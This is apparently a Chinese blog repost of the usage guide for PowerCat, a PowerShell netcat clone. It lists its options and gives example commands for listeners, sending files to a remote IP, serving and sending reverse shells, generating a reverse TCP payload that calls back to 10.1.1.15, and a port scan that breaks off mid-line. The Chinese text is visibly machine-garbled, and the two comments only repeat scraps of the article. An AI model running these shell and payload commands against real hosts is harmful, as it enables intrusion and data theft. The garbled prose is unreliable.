PowerCat – powershell的瑞士军刀(netcat)
"项目具体位置
htpp://github.Com/secabstraction/PowerCat
项目概述
PowerCat是一个powershell写的tcp/ip瑞士军刀,瞧一瞧成ncat的powershell的实现,随后里面也加入了诸多功能强大的功能,如文件上传,smb协议书支持,中继模式,添加payload,端口扫描等等。
使用说明
支持的方法如下
Start-PowerCat # Starts a listener/server.
-Mode # Defaults To Tcp, can also specify Udp or Smb.
-Port # The port To listen On.
-PipeName # Name of pipe To listen On.
-SslCn # Common name like Ssl encrypting Tcp.
-Relay # Format: “:”
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file To send.
-ReceiveFile # Filepath of file To Be written.
-Disconnect # Disconnect after connecting.
-KeepAlive # Restart after disconnecting.
-Timeout # Timeout option. Default: 60 seconds
Connect-PowerCat # Connects a client To a listener/server.
-Mode # Defaults To Tcp, can also specify Udp or Smb
-RemoteIp # IPv4 address of host To connect To.
-Port # The port To connect To.
-PipeName # Name of pipe To connect To.
-SslCn # Common name like Ssl encrypting Tcp.
-Relay # Format: “:<iP>:”
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file To send.
-ReceiveFile # Filepath of file To Be written.
-Disconnect # Disconnect after connecting.
-Timeout # Timeout option. Default: 60 seconds
最基础的接入与监视模式:
# Basic Listener:
Start-PowerCat -Port 443
# Basic Client:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
发送到与接受文档
# Send File:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
# Receive File:
Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
同向与反向shell
# Serve a shell:
Start-PowerCat -Port 443 -Execute
# Send a Shell:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute
payload添加
# Generate a reverse tcp payload that connects back To 10.1.1.15 port 443:
New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
# Generate a tcp payload that listens On port 9000:
New-PowerCatPayload -Listener -Port 9000 -Execute
端口扫描
# Basic TCP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -RemoteI
相关文章
- 2条评论
- 泪灼栖迟2022-05-30 18:31:07
- "项目具体位置htpp://github.Com/secabstraction/PowerCat项目概述PowerCat是一个powershell写的tcp/ip瑞士军刀,瞧一瞧成ncat的powershell的实现,随后里面也加入了诸多功能强大的功能,如文件上传,smb协议书支持,中
- 北槐辞慾2022-05-30 15:28:55
- e like Ssl encrypting Tcp.-Relay # Format: “:<iP>:”-Execute # Execute a console process or powershell.-SendFile # Filepath of